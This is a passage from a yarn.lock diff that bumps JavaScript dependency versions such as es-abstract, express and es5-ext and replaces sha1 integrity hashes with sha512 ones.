   dependencies:
     prr "~1.0.1"
 
@@ -2635,64 +2703,113 @@ error-ex@^1.2.0:
   dependencies:
     is-arrayish "^0.2.1"
 
-es-abstract@^1.17.0-next.1:
-  version "1.17.7"
-  resolved "https://registry.yarnpkg.com/es-abstract/-/es-abstract-1.17.7.tgz#a4de61b2f66989fc7421676c1cb9787573ace54c"
-  integrity sha512-VBl/gnfcJ7OercKA9MVaegWsBHFjV492syMudcnQZvt/Dw8ezpcOHYZXa/J96O8vx+g4x65YKhxOwDUh63aS5g==
-  dependencies:
-    es-to-primitive "^1.2.1"
-    function-bind "^1.1.1"
-    has "^1.0.3"
-    has-symbols "^1.0.1"
-    is-callable "^1.2.2"
-    is-regex "^1.1.1"
-    object-inspect "^1.8.0"
-    object-keys "^1.1.1"
-    object.assign "^4.1.1"
-    string.prototype.trimend "^1.0.1"
-    string.prototype.trimstart "^1.0.1"
-
-es-abstract@^1.18.0-next.1:
-  version "1.18.0-next.1"
-  resolved "https://registry.yarnpkg.com/es-abstract/-/es-abstract-1.18.0-next.1.tgz#6e3a0a4bda717e5023ab3b8e90bec36108d22c68"
-  integrity sha512-I4UGspA0wpZXWENrdA0uHbnhte683t3qT/1VFH9aX2dA5PPSf6QW5HHXf5HImaqPmjXaVeVk4RGWnaylmV7uAA==
-  dependencies:
-    es-to-primitive "^1.2.1"
-    function-bind "^1.1.1"
-    has "^1.0.3"
-    has-symbols "^1.0.1"
-    is-callable "^1.2.2"
-    is-negative-zero "^2.0.0"
-    is-regex "^1.1.1"
-    object-inspect "^1.8.0"
+es-abstract@^1.23.2, es-abstract@^1.23.5, es-abstract@^1.23.9:
+  version "1.23.9"
+  resolved "https://registry.yarnpkg.com/es-abstract/-/es-abstract-1.23.9.tgz#5b45994b7de78dada5c1bebf1379646b32b9d606"
+  integrity sha512-py07lI0wjxAC/DcfK1S6G7iANonniZwTISvdPzk9hzeH0IZIshbuuFxLIU96OyF89Yb9hiqWn8M/bY83KY5vzA==
+  dependencies:
+    array-buffer-byte-length "^1.0.2"
+    arraybuffer.prototype.slice "^1.0.4"
+    available-typed-arrays "^1.0.7"
+    call-bind "^1.0.8"
+    call-bound "^1.0.3"
+    data-view-buffer "^1.0.2"
+    data-view-byte-length "^1.0.2"
+    data-view-byte-offset "^1.0.1"
+    es-define-property "^1.0.1"
+    es-errors "^1.3.0"
+    es-object-atoms "^1.0.0"
+    es-set-tostringtag "^2.1.0"
+    es-to-primitive "^1.3.0"
+    function.prototype.name "^1.1.8"
+    get-intrinsic "^1.2.7"
+    get-proto "^1.0.0"
+    get-symbol-description "^1.1.0"
+    globalthis "^1.0.4"
+    gopd "^1.2.0"
+    has-property-descriptors "^1.0.2"
+    has-proto "^1.2.0"
+    has-symbols "^1.1.0"
+    hasown "^2.0.2"
+    internal-slot "^1.1.0"
+    is-array-buffer "^3.0.5"
+    is-callable "^1.2.7"
+    is-data-view "^1.0.2"
+    is-regex "^1.2.1"
+    is-shared-array-buffer "^1.0.4"
+    is-string "^1.1.1"
+    is-typed-array "^1.1.15"
+    is-weakref "^1.1.0"
+    math-intrinsics "^1.1.0"
+    object-inspect "^1.13.3"
     object-keys "^1.1.1"
-    object.assign "^4.1.1"
-    string.prototype.trimend "^1.0.1"
-    string.prototype.trimstart "^1.0.1"
+    object.assign "^4.1.7"
+    own-keys "^1.0.1"
+    regexp.prototype.flags "^1.5.3"
+    safe-array-concat "^1.1.3"
+    safe-push-apply "^1.0.0"
+    safe-regex-test "^1.1.0"
+    set-proto "^1.0.0"
+    string.prototype.trim "^1.2.10"
+    string.prototype.trimend "^1.0.9"
+    string.prototype.trimstart "^1.0.8"
+    typed-array-buffer "^1.0.3"
+    typed-array-byte-length "^1.0.3"
+    typed-array-byte-offset "^1.0.4"
+    typed-array-length "^1.0.7"
+    unbox-primitive "^1.1.0"
+    which-typed-array "^1.1.18"
+
+es-define-property@^1.0.0, es-define-property@^1.0.1:
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/es-define-property/-/es-define-property-1.0.1.tgz#983eb2f9a6724e9303f61addf011c72e09e0b0fa"
+  integrity sha512-e3nRfgfUZ4rNGL232gUgX06QNyyez04KdjFrF+LTRoOXmrOgFKDg4BCdsjW8EnT69eqdYGmRpJwiPVYNrCaW3g==
 
-es-to-primitive@^1.2.1:
-  version "1.2.1"
-  resolved "https://registry.yarnpkg.com/es-to-primitive/-/es-to-primitive-1.2.1.tgz#e55cd4c9cdc188bcefb03b366c736323fc5c898a"
-  integrity sha512-QCOllgZJtaUo9miYBcLChTUaHNjJF3PYs1VidD7AwiEj1kYxKeQTctLAezAOH5ZKRH0g2IgPn6KwB4IT8iRpvA==
+es-errors@^1.3.0:
+  version "1.3.0"
+  resolved "https://registry.yarnpkg.com/es-errors/-/es-errors-1.3.0.tgz#05f75a25dab98e4fb1dcd5e1472c0546d5057c8f"
+  integrity sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==
+
+es-object-atoms@^1.0.0:
+  version "1.1.1"
+  resolved "https://registry.yarnpkg.com/es-object-atoms/-/es-object-atoms-1.1.1.tgz#1c4f2c4837327597ce69d2ca190a7fdd172338c1"
+  integrity sha512-FGgH2h8zKNim9ljj7dankFPcICIK9Cp5bm+c2gQSYePhpaG5+esrLODihIorn+Pe6FGJzWhXQotPv73jTaldXA==
+  dependencies:
+    es-errors "^1.3.0"
+
+es-set-tostringtag@^2.1.0:
+  version "2.1.0"
+  resolved "https://registry.yarnpkg.com/es-set-tostringtag/-/es-set-tostringtag-2.1.0.tgz#f31dbbe0c183b00a6d26eb6325c810c0fd18bd4d"
+  integrity sha512-j6vWzfrGVfyXxge+O0x5sh6cvxAog0a/4Rdd2K36zCMV5eJ+/+tOAngRO8cODMNWbVRdVlmGZQL2YS3yR8bIUA==
+  dependencies:
+    es-errors "^1.3.0"
+    get-intrinsic "^1.2.6"
+    has-tostringtag "^1.0.2"
+    hasown "^2.0.2"
+
+es-to-primitive@^1.3.0:
+  version "1.3.0"
+  resolved "https://registry.yarnpkg.com/es-to-primitive/-/es-to-primitive-1.3.0.tgz#96c89c82cc49fd8794a24835ba3e1ff87f214e18"
+  integrity sha512-w+5mJ3GuFL+NjVtJlvydShqE1eN3h3PbI7/5LAsYJP/2qtuMXjfL2LpHSRqo4b4eSF5K/DH1JXKUAHSB2UW50g==
   dependencies:
-    is-callable "^1.1.4"
-    is-date-object "^1.0.1"
-    is-symbol "^1.0.2"
+    is-callable "^1.2.7"
+    is-date-object "^1.0.5"
+    is-symbol "^1.0.4"
 
-es5-ext@^0.10.35, es5-ext@^0.10.46, es5-ext@^0.10.50, es5-ext@^0.10.62, es5-ext@~0.10.14:
-  version "0.10.63"
-  resolved "https://registry.yarnpkg.com/es5-ext/-/es5-ext-0.10.63.tgz#9c222a63b6a332ac80b1e373b426af723b895bd6"
-  integrity sha512-hUCZd2Byj/mNKjfP9jXrdVZ62B8KuA/VoK7X8nUh5qT+AxDmcbvZz041oDVZdbIN1qW6XY9VDNwzkvKnZvK2TQ==
+es5-ext@^0.10.35, es5-ext@^0.10.46, es5-ext@^0.10.62, es5-ext@^0.10.64, es5-ext@~0.10.14:
+  version "0.10.64"
+  resolved "https://registry.yarnpkg.com/es5-ext/-/es5-ext-0.10.64.tgz#12e4ffb48f1ba2ea777f1fcdd1918ef73ea21714"
+  integrity sha512-p2snDhiLaXe6dahss1LddxqEm+SkuDvV8dnIQG0MWjyHpcMNfXKPE+/Cc0y+PhxJX3A4xGNeFCj5oc0BUh6deg==
   dependencies:
     es6-iterator "^2.0.3"
     es6-symbol "^3.1.3"
     esniff "^2.0.1"
     next-tick "^1.1.0"
 
-es6-iterator@^2.0.3, es6-iterator@~2.0.1:
+es6-iterator@^2.0.3, es6-iterator@~2.0.1, es6-iterator@~2.0.3:
   version "2.0.3"
   resolved "https://registry.yarnpkg.com/es6-iterator/-/es6-iterator-2.0.3.tgz#a7de889141a05a94b0854403b2d0a0fbfa98f3b7"
-  integrity sha1-p96IkUGgWpSwhUQDstCg+/qY87c=
+  integrity sha512-zw4SRzoUkd+cl+ZoE15A9o1oQd920Bb0iOJMQkQhl3jNc03YqVjAhG7scf9C5KWRU/R13Orf588uCC6525o02g==
   dependencies:
     d "1"
     es5-ext "^0.10.35"
@@ -2701,7 +2818,7 @@ es6-iterator@^2.0.3, es6-iterator@~2.0.1:
 es6-map@^0.1.3:
   version "0.1.5"
   resolved "https://registry.yarnpkg.com/es6-map/-/es6-map-0.1.5.tgz#9136e0503dcc06a301690f0bb14ff4e364e949f0"
-  integrity sha1-kTbgUD3MBqMBaQ8LsU/042TpSfA=
+  integrity sha512-mz3UqCh0uPCIqsw1SSAkB/p0rOzF/M0V++vyN7JqlPtSW/VsYgQBvVvqMLmfBuyMzTpLnNqi6JmcSizs4jy19A==
   dependencies:
     d "1"
     es5-ext "~0.10.14"
@@ -2716,31 +2833,24 @@ es6-promise@^4.0.5:
   integrity sha512-HJDGx5daxeIvxdBxvG2cb9g4tEvwIk3i8+nhX0yGrYmZUzbkdg8QbDevheDB8gd0//uPj4c1EQua8Q+MViT0/w==
 
 es6-set@~0.1.5:
-  version "0.1.5"
-  resolved "https://registry.yarnpkg.com/es6-set/-/es6-set-0.1.5.tgz#d2b3ec5d4d800ced818db538d28974db0a73ccb1"
-  integrity sha1-0rPsXU2ADO2BjbU40ol02wpzzLE=
-  dependencies:
-    d "1"
-    es5-ext "~0.10.14"
-    es6-iterator "~2.0.1"
-    es6-symbol "3.1.1"
-    event-emitter "~0.3.5"
-
-es6-symbol@3.1.1:
-  version "3.1.1"
-  resolved "https://registry.yarnpkg.com/es6-symbol/-/es6-symbol-3.1.1.tgz#bf00ef4fdab6ba1b46ecb7b629b4c7ed5715cc77"
-  integrity sha1-vwDvT9q2uhtG7Le2KbTH7VcVzHc=
+  version "0.1.6"
+  resolved "https://registry.yarnpkg.com/es6-set/-/es6-set-0.1.6.tgz#5669e3b2aa01d61a50ba79964f733673574983b8"
+  integrity sha512-TE3LgGLDIBX332jq3ypv6bcOpkLO0AslAQo7p2VqX/1N46YNsvIWgvjojjSEnWEGWMhr1qUbYeTSir5J6mFHOw==
   dependencies:
-    d "1"
-    es5-ext "~0.10.14"
+    d "^1.0.1"
+    es5-ext "^0.10.62"
+    es6-iterator "~2.0.3"
+    es6-symbol "^3.1.3"
+    event-emitter "^0.3.5"
+    type "^2.7.2"
 
 es6-symbol@^3.1.1, es6-symbol@^3.1.3, es6-symbol@~3.1.1:
-  version "3.1.3"
-  resolved "https://registry.yarnpkg.com/es6-symbol/-/es6-symbol-3.1.3.tgz#bad5d3c1bcdac28269f4cb331e431c78ac705d18"
-  integrity sha512-NJ6Yn3FuDinBaBRWl/q5X/s4koRHBrgKAu+yGI6JCBeiu3qrcbJhwT2GeR/EXVfylRk8dpQVJoLEFhK+Mu31NA==
+  version "3.1.4"
+  resolved "https://registry.yarnpkg.com/es6-symbol/-/es6-symbol-3.1.4.tgz#f4e7d28013770b4208ecbf3e0bf14d3bcb557b8c"
+  integrity sha512-U9bFFjX8tFiATgtkJ1zg25+KviIXpgRvRHS8sau3GfhVzThRQrOeksPeT0BWW2MNZs1OEWJ1DPXOQMn0KKRkvg==
   dependencies:
-    d "^1.0.1"
-    ext "^1.1.2"
+    d "^1.0.2"
+    ext "^1.7.0"
 
 es6-weak-map@^2.0.1:
   version "2.0.3"
@@ -2777,7 +2887,7 @@ escodegen@^1.6.1:
 escope@^3.6.0:
   version "3.6.0"
   resolved "https://registry.yarnpkg.com/escope/-/escope-3.6.0.tgz#e01975e812781a163a6dadfdd80398dc64c889c3"
-  integrity sha1-4Bl16BJ4GhY6ba392AOY3GTIicM=
+  integrity sha512-75IUQsusDdalQEW/G/2esa87J7raqdJF+Ca0/Xm5C3Q58Nr4yVYjZGp/P1+2xiEVgXRrA39dpRb8LcshajbqDQ==
   dependencies:
     es6-map "^0.1.3"
     es6-weak-map "^2.0.1"
@@ -2790,12 +2900,13 @@ eslint-config-react-app@^2.1.0:
   integrity sha512-8QZrKWuHVC57Fmu+SsKAVxnI9LycZl7NFQ4H9L+oeISuCXhYdXqsOOIVSjQFW6JF5MXZLFE+21Syhd7mF1IRZQ==
 
 eslint-import-resolver-node@^0.3.1:
-  version "0.3.4"
-  resolved "https://registry.yarnpkg.com/eslint-import-resolver-node/-/eslint-import-resolver-node-0.3.4.tgz#85ffa81942c25012d8231096ddf679c03042c717"
-  integrity sha512-ogtf+5AB/O+nM6DIeBUNr2fuT7ot9Qg/1harBfBtaP13ekEWFQEEMP94BCB7zaNW3gyY+8SHYF00rnqYwXKWOA==
+  version "0.3.9"
+  resolved "https://registry.yarnpkg.com/eslint-import-resolver-node/-/eslint-import-resolver-node-0.3.9.tgz#d4eaac52b8a2e7c3cd1903eb00f7e053356118ac"
+  integrity sha512-WFj2isz22JahUv+B788TlO3N6zL3nNJGU8CcZbPZvVEkBPaJdCV4vy5wyghty5ROFbCRnm132v8BScu5/1BQ8g==
   dependencies:
-    debug "^2.6.9"
-    resolve "^1.13.1"
+    debug "^3.2.7"
+    is-core-module "^2.13.0"
+    resolve "^1.22.4"
 
 eslint-loader@1.9.0:
   version "1.9.0"
@@ -2809,12 +2920,11 @@ eslint-loader@1.9.0:
     rimraf "^2.6.1"
 
 eslint-module-utils@^2.1.1:
-  version "2.6.0"
-  resolved "https://registry.yarnpkg.com/eslint-module-utils/-/eslint-module-utils-2.6.0.tgz#579ebd094f56af7797d19c9866c9c9486629bfa6"
-  integrity sha512-6j9xxegbqe8/kZY8cYpcp0xhbK0EgJlg3g9mib3/miLaExuuwc3n5UEfSnU6hWMbT0FAYVvDbL9RrRgpUeQIvA==
+  version "2.12.0"
+  resolved "https://registry.yarnpkg.com/eslint-module-utils/-/eslint-module-utils-2.12.0.tgz#fe4cfb948d61f49203d7b08871982b65b9af0b0b"
+  integrity sha512-wALZ0HFoytlyh/1+4wuZ9FJCD/leWHQzzrxJ8+rebyReSLk7LApMyd3WJaLVoN+D5+WIdJyDK1c6JnE65V4Zyg==
   dependencies:
-    debug "^2.6.9"
-    pkg-dir "^2.0.0"
+    debug "^3.2.7"
 
 eslint-plugin-flowtype@2.39.1:
   version "2.39.1"
@@ -2934,7 +3044,7 @@ espree@^3.5.1:
 esprima@^2.6.0:
   version "2.7.3"
   resolved "https://registry.yarnpkg.com/esprima/-/esprima-2.7.3.tgz#96e3b70d5779f6ad49cd032673d1c312767ba581"
-  integrity sha1-luO3DVd59q1JzQMmc9HDEnZ7pYE=
+  integrity sha512-OarPfz0lFCiW4/AV2Oy1Rp9qu0iusTKqykwTspGCZtPxmF81JR4MmIebvF1F9+UOKth2ZubLQ4XGGaU+hSn99A==
 
 esprima@^4.0.0, esprima@^4.0.1:
   version "4.0.1"
@@ -2942,9 +3052,9 @@ esprima@^4.0.0, esprima@^4.0.1:
   integrity sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==
 
 esquery@^1.0.0:
-  version "1.3.1"
-  resolved "https://registry.yarnpkg.com/esquery/-/esquery-1.3.1.tgz#b78b5828aa8e214e29fb74c4d5b752e1c033da57"
-  integrity sha512-olpvt9QG0vniUBZspVRN6lwB7hOZoTRtT+jzR+tS4ffYx2mzbw+z0XCOk44aaLYKApNX5nMm+E+P6o25ip/DHQ==
+  version "1.6.0"
+  resolved "https://registry.yarnpkg.com/esquery/-/esquery-1.6.0.tgz#91419234f804d852a82dceec3e16cdc22cf9dae7"
+  integrity sha512-ca9pw9fomFcKPvFLXhBKUK90ZvGibiGOvRJNbjljY7s7uq/5YO4BOzcYtJqExdx99rF6aAcnRxHmcUHcz6sQsg==
   dependencies:
     estraverse "^5.1.0"
 
@@ -2978,7 +3088,7 @@ etag@~1.8.1:
 event-emitter@^0.3.5, event-emitter@~0.3.5:
   version "0.3.5"
   resolved "https://registry.yarnpkg.com/event-emitter/-/event-emitter-0.3.5.tgz#df8c69eef1647923c7157b9ce83840610b02cc39"
-  integrity sha1-34xp7vFkeSPHFXuc6DhAYQsCzDk=
+  integrity sha512-D9rRn9y7kLPnJ+hMq7S/nhvoKwwvVJahBi2BPmx3bvbsEdK3W9ii8cBSGjP+72/LnM4n6fo3+dkCX5FeTQruXA==
   dependencies:
     d "1"
     es5-ext "~0.10.14"
@@ -2989,14 +3099,14 @@ eventemitter3@^4.0.0:
   integrity sha512-8guHBZCwKnFhYdHr2ysuRWErTwhoN2X8XELRlrRwpmfeY2jjuUN4taQMsULKUVo1K4DvZl+0pgfyoysHxvmvEw==
 
 events@^3.0.0:
-  version "3.2.0"
-  resolved "https://registry.yarnpkg.com/events/-/events-3.2.0.tgz#93b87c18f8efcd4202a461aec4dfc0556b639379"
-  integrity sha512-/46HWwbfCX2xTawVfkKLGxMifJYQBWMwY1mjywRtb4c9x8l5NP3KoJtnIOiL1hfdRkIuYhETxQlo62IF8tcnlg==
+  version "3.3.0"
+  resolved "https://registry.yarnpkg.com/events/-/events-3.3.0.tgz#31a95ad0a924e2d2c419a813aeb2c4e878ea7400"
+  integrity sha512-mQw+2fkQbALzQ7V0MY0IqdnXNOeTtP4r0lN9z7AAawCXgqea7bDii20AYrIBrFd/Hx0M2Ocz6S111CaFkUcb0Q==
 
 eventsource@0.1.6:
   version "0.1.6"
   resolved "https://registry.yarnpkg.com/eventsource/-/eventsource-0.1.6.tgz#0acede849ed7dd1ccc32c811bb11b944d4f29232"
-  integrity sha1-Cs7ehJ7X3RzMMsgRuxG5RNTykjI=
+  integrity sha512-bbB5tEuvC+SuRUG64X8ghvjgiRniuA4WlehWbFnoN4z6TxDXpyX+BMHF7rMgZAqoe+EbyNRUbHN0uuP9phy5jQ==
   dependencies:
     original ">=0.0.5"
 
@@ -3018,7 +3128,7 @@ exec-sh@^0.2.0:
 execa@^0.7.0:
   version "0.7.0"
   resolved "https://registry.yarnpkg.com/execa/-/execa-0.7.0.tgz#944becd34cc41ee32a63a9faf27ad5a65fc59777"
-  integrity sha1-lEvs00zEHuMqY6n68nrVpl/Fl3c=
+  integrity sha512-RztN09XglpYI7aBBrJCPW95jEH7YF1UEPOoX9yDhUTPdp7mK+CQvnLTuD10BNXZ3byLTu2uehZ8EcKT/4CGiFw==
   dependencies:
     cross-spawn "^5.0.1"
     get-stream "^3.0.0"
@@ -3031,14 +3141,14 @@ execa@^0.7.0:
 expand-brackets@^0.1.4:
   version "0.1.5"
   resolved "https://registry.yarnpkg.com/expand-brackets/-/expand-brackets-0.1.5.tgz#df07284e342a807cd733ac5af72411e581d1177b"
-  integrity sha1-3wcoTjQqgHzXM6xa9yQR5YHRF3s=
+  integrity sha512-hxx03P2dJxss6ceIeri9cmYOT4SRs3Zk3afZwWpOsRqLqprhTR8u++SlC+sFGsQr7WGFPdMF7Gjc1njDLDK6UA==
   dependencies:
     is-posix-bracket "^0.1.0"
 
 expand-brackets@^2.1.4:
   version "2.1.4"
   resolved "https://registry.yarnpkg.com/expand-brackets/-/expand-brackets-2.1.4.tgz#b77735e315ce30f6b6eff0f83b04151a22449622"
-  integrity sha1-t3c14xXOMPa27/D4OwQVGiJEliI=
+  integrity sha512-w/ozOKR9Obk3qoWeY/WDi6MFta9AoMR+zud60mdnbniMcBxRuFJyDt2LdX/14A1UABeqk+Uk+LDfUpvoGKppZA==
   dependencies:
     debug "^2.3.3"
     define-property "^0.2.5"
@@ -3051,71 +3161,72 @@ expand-brackets@^2.1.4:
 expand-range@^1.8.1:
   version "1.8.2"
   resolved "https://registry.yarnpkg.com/expand-range/-/expand-range-1.8.2.tgz#a299effd335fe2721ebae8e257ec79644fc85337"
-  integrity sha1-opnv/TNf4nIeuujiV+x5ZE/IUzc=
+  integrity sha512-AFASGfIlnIbkKPQwX1yHaDjFvh/1gyKJODme52V6IORh69uEYgZp0o9C+qsIGNVEiuuhQU0CSSl++Rlegg1qvA==
   dependencies:
     fill-range "^2.1.0"
 
 expand-tilde@^2.0.0, expand-tilde@^2.0.2:
   version "2.0.2"
   resolved "https://registry.yarnpkg.com/expand-tilde/-/expand-tilde-2.0.2.tgz#97e801aa052df02454de46b02bf621642cdc8502"
-  integrity sha1-l+gBqgUt8CRU3kawK/YhZCzchQI=
+  integrity sha512-A5EmesHW6rfnZ9ysHQjPdJRni0SRar0tjtG5MNtm9n5TUvsYU8oozprtRD4AqHxcZWWlVuAmQo2nWKfN9oyjTw==
   dependencies:
     homedir-polyfill "^1.0.1"
 
 express@^4.16.2:
-  version "4.17.1"
-  resolved "https://registry.yarnpkg.com/express/-/express-4.17.1.tgz#4491fc38605cf51f8629d39c2b5d026f98a4c134"
-  integrity sha512-mHJ9O79RqluphRrcw2X/GTh3k9tVv8YcoyY4Kkh4WDMUYKRZUq0h1o0w2rrrxBqM7VoeUVqgb27xlEMXTnYt4g==
+  version "4.21.2"
+  resolved "https://registry.yarnpkg.com/express/-/express-4.21.2.tgz#cf250e48362174ead6cea4a566abef0162c1ec32"
+  integrity sha512-28HqgMZAmih1Czt9ny7qr6ek2qddF4FclbMzwhCREB6OFfH+rXAnuNCwo1/wFvrtbgsQDb4kSbX9de9lFbrXnA==
   dependencies:
-    accepts "~1.3.7"
+    accepts "~1.3.8"
     array-flatten "1.1.1"
-    body-parser "1.19.0"
-    content-disposition "0.5.3"
+    body-parser "1.20.3"
+    content-disposition "0.5.4"
     content-type "~1.0.4"
-    cookie "0.4.0"
+    cookie "0.7.1"
     cookie-signature "1.0.6"
     debug "2.6.9"
-    depd "~1.1.2"
-    encodeurl "~1.0.2"
+    depd "2.0.0"
+    encodeurl "~2.0.0"
     escape-html "~1.0.3"
     etag "~1.8.1"
-    finalhandler "~1.1.2"
+    finalhandler "1.3.1"
     fresh "0.5.2"
-    merge-descriptors "1.0.1"
+    http-errors "2.0.0"
+    merge-descriptors "1.0.3"
     methods "~1.1.2"
-    on-finished "~2.3.0"
+    on-finished "2.4.1"
     parseurl "~1.3.3"
-    path-to-regexp "0.1.7"
-    proxy-addr "~2.0.5"
-    qs "6.7.0"
+    path-to-regexp "0.1.12"
+    proxy-addr "~2.0.7"
+    qs "6.13.0"
     range-parser "~1.2.1"
-    safe-buffer "5.1.2"
-    send "0.17.1"
-    serve-static "1.14.1"
-    setprototypeof "1.1.1"
-    statuses "~1.5.0"
+    safe-buffer "5.2.1"
+    send "0.19.0"
+    serve-static "1.16.2"
+    setprototypeof "1.2.0"
+    statuses "2.0.1"
     type-is "~1.6.18"
     utils-merge "1.0.1"
     vary "~1.1.2"
 
-ext@^1.1.2:
-  version "1.4.0"
-  resolved "https://registry.yarnpkg.com/ext/-/ext-1.4.0.tgz#89ae7a07158f79d35517882904324077e4379244"
-  integrity sha512-Key5NIsUxdqKg3vIsdw9dSuXpPCQ297y6wBjL30edxwPgt2E44WcWBZey/ZvUc6sERLTxKdyCu4gZFmUbk1Q7A==
+ext@^1.7.0:
+  version "1.7.0"
+  resolved "https://registry.yarnpkg.com/ext/-/ext-1.7.0.tgz#0ea4383c0103d60e70be99e9a7f11027a33c4f5f"
+  integrity sha512-6hxeJYaL110a9b5TEJSj0gojyHQAmA2ch5Os+ySCiA1QGdS697XWY1pzsrSjqA9LDEEgdB/KypIlR59RcLuHYw==
   dependencies:
-    type "^2.0.0"
+    type "^2.7.2"
 
 extend-shallow@^2.0.1:
   version "2.0.1"
   resolved "https://registry.yarnpkg.com/extend-shallow/-/extend-shallow-2.0.1.tgz#51af7d614ad9a9f610ea1bafbb989d6b1c56890f"
-  integrity sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=
+  integrity sha512-zCnTtlxNoAiDc3gqY2aYAWFx7XWWiasuF2K8Me5WbN8otHKTUKBwjPtNpRs/rbUZm7KxWAaNj7P1a/p52GbVug==
   dependencies:
     is-extendable "^0.1.0"
 
 extend-shallow@^3.0.0, extend-shallow@^3.0.2:
   version "3.0.2"
   resolved "https://registry.yarnpkg.com/extend-shallow/-/extend-shallow-3.0.2.tgz#26a71aaf073b39fb2127172746131c2704028db8"
-  integrity sha1-Jqcarwc7OfshJxcnRhMcJwQCjbg=
+  integrity sha512-BwY5b5Ql4+qZoefgMj2NUmx+tehVTH/Kf4k1ZEtOHNFcm2wSxMRo992l6X3TIgni2eZVTZ85xMOjF31fwZAj6Q==
   dependencies:
     assign-symbols "^1.0.0"
     is-extendable "^1.0.1"
@@ -3137,7 +3248,7 @@ external-editor@^2.0.4:
 extglob@^0.3.1:
   version "0.3.2"
   resolved "https://registry.yarnpkg.com/extglob/-/extglob-0.3.2.tgz#2e18ff3d2f49ab2765cec9023f011daa8d8349a1"
-  integrity sha1-Lhj/PS9JqydlzskCPwEdqo2DSaE=
+  integrity sha512-1FOj1LOwn42TMrruOHGt18HemVnbwAmAak7krWk+wa93KXxGbK+2jpezm+ytJYDaBX0/SPLZFHKM7m+tKobWGg==
   dependencies:
     is-extglob "^1.0.0"
 
@@ -3168,17 +3279,17 @@ extract-text-webpack-plugin@3.0.2:
 extsprintf@1.3.0:
   version "1.3.0"
   resolved "https://registry.yarnpkg.com/extsprintf/-/extsprintf-1.3.0.tgz#96918440e3041a7a414f8c52e3c574eb3c3e1e05"
-  integrity sha1-lpGEQOMEGnpBT4xS48V06zw+HgU=
+  integrity sha512-11Ndz7Nv+mvAC1j0ktTa7fAb0vLyGGX+rMHNBYQviQDGU0Hw7lhctJANqbPhu9nV9/izT/IntTgZ7Im/9LJs9g==
 
 extsprintf@^1.2.0:
-  version "1.4.0"
-  resolved "https://registry.yarnpkg.com/extsprintf/-/extsprintf-1.4.0.tgz#e2689f8f356fad62cca65a3a91c5df5f9551692f"
-  integrity sha1-4mifjzVvrWLMplo6kcXfX5VRaS8=
+  version "1.4.1"
+  resolved "https://registry.yarnpkg.com/extsprintf/-/extsprintf-1.4.1.tgz#8d172c064867f235c0c84a596806d279bf4bcc07"
+  integrity sha512-Wrk35e8ydCKDj/ArClo1VrPVmN8zph5V4AtHwIuHhvMXsKf73UT3BOD+azBIW+3wOJ4FhEH7zyaJCFvChjYvMA==
 
 fast-deep-equal@^1.0.0:
   version "1.1.0"
   resolved "https://registry.yarnpkg.com/fast-deep-equal/-/fast-deep-equal-1.1.0.tgz#c053477817c86b51daa853c81e059b733d023614"
-  integrity sha1-wFNHeBfIa1HaqFPIHgWbcz0CNhQ=
+  integrity sha512-fueX787WZKCV0Is4/T2cyAdM4+x1S3MXXOAhavE1ys/W42SHAPacLTQhucja22QBYrfGw50M2sRiXPtTGv9Ymw==
 
 fast-deep-equal@^3.1.1:
   version "3.1.3"
@@ -3193,7 +3304,7 @@ fast-json-stable-stringify@^2.0.0:
 fast-levenshtein@~2.0.6:
   version "2.0.6"
   resolved "https://registry.yarnpkg.com/fast-levenshtein/-/fast-levenshtein-2.0.6.tgz#3d8a5c66883a16a30ca8643e851f19baa7797917"
-  integrity sha1-PYpcZog6FqMMqGQ+hR8Zuqd5eRc=
+  integrity sha512-DCXu6Ifhqcks7TZKY3Hxp3y6qphY5SJZmrWMDrKcERSOXWQdMhU9Ig/PYrzyw/ul9jOIyh0N4M0tbC5hodg8dw==
 
 fastparse@^1.1.2:
   version "1.1.2"
@@ -3203,21 +3314,21 @@ fastparse@^1.1.2:
 faye-websocket@^0.10.0:
   version "0.10.0"
   resolved "https://registry.yarnpkg.com/faye-websocket/-/faye-websocket-0.10.0.tgz#4e492f8d04dfb6f89003507f6edbf2d501e7c6f4"
-  integrity sha1-TkkvjQTftviQA1B/btvy1QHnxvQ=
+  integrity sha512-Xhj93RXbMSq8urNCUq4p9l0P6hnySJ/7YNRhYNug0bLOuii7pKO7xQFb5mx9xZXWCar88pLPb805PvUkwrLZpQ==
   dependencies:
     websocket-driver ">=0.5.1"
 
 faye-websocket@~0.11.0:
-  version "0.11.3"
-  resolved "https://registry.yarnpkg.com/faye-websocket/-/faye-websocket-0.11.3.tgz#5c0e9a8968e8912c286639fde977a8b209f2508e"
-  integrity sha512-D2y4bovYpzziGgbHYtGCMjlJM36vAl/y+xUyn1C+FVx8szd1E+86KwVw6XvYSzOP8iMpm1X0I4xJD+QtUb36OA==
+  version "0.11.4"
+  resolved "https://registry.yarnpkg.com/faye-websocket/-/faye-websocket-0.11.4.tgz#7f0d9275cfdd86a1c963dc8b65fcc451edcbb1da"
+  integrity sha512-CzbClwlXAuiRQAlUyfqPgvPoNKTckTPGfwZV4ZdAhVcP2lh9KUxJg2b5GkE7XbjKQ3YJnQ9z6D9ntLAlB+tP8g==
   dependencies:
     websocket-driver ">=0.5.1"
 
 fb-watchman@^1.8.0:
   version "1.9.2"
   resolved "https://registry.yarnpkg.com/fb-watchman/-/fb-watchman-1.9.2.tgz#a24cf47827f82d38fb59a69ad70b76e3b6ae7383"
-  integrity sha1-okz0eCf4LTj7Waaa1wt247auc4M=
+  integrity sha512-XgitQpaII7LkblC9X8HhfnfuDpyOYSB/Xw8h3Q/gXfMtyL7UICDS1axIlafhwfvKxPjrqnu7EfO7i3A1kH+Rfg==
   dependencies:
     bser "1.0.2"
 
@@ -3228,30 +3339,17 @@ fb-watchman@^2.0.0:
   dependencies:
     bser "2.1.1"
 
-fbjs@^0.8.9:
-  version "0.8.17"
-  resolved "https://registry.yarnpkg.com/fbjs/-/fbjs-0.8.17.tgz#c4d598ead6949112653d6588b01a5cdcd9f90fdd"
-  integrity sha1-xNWY6taUkRJlPWWIsBpc3Nn5D90=
-  dependencies:
-    core-js "^1.0.0"
-    isomorphic-fetch "^2.1.1"
-    loose-envify "^1.0.0"
-    object-assign "^4.1.0"
-    promise "^7.1.1"
-    setimmediate "^1.0.5"
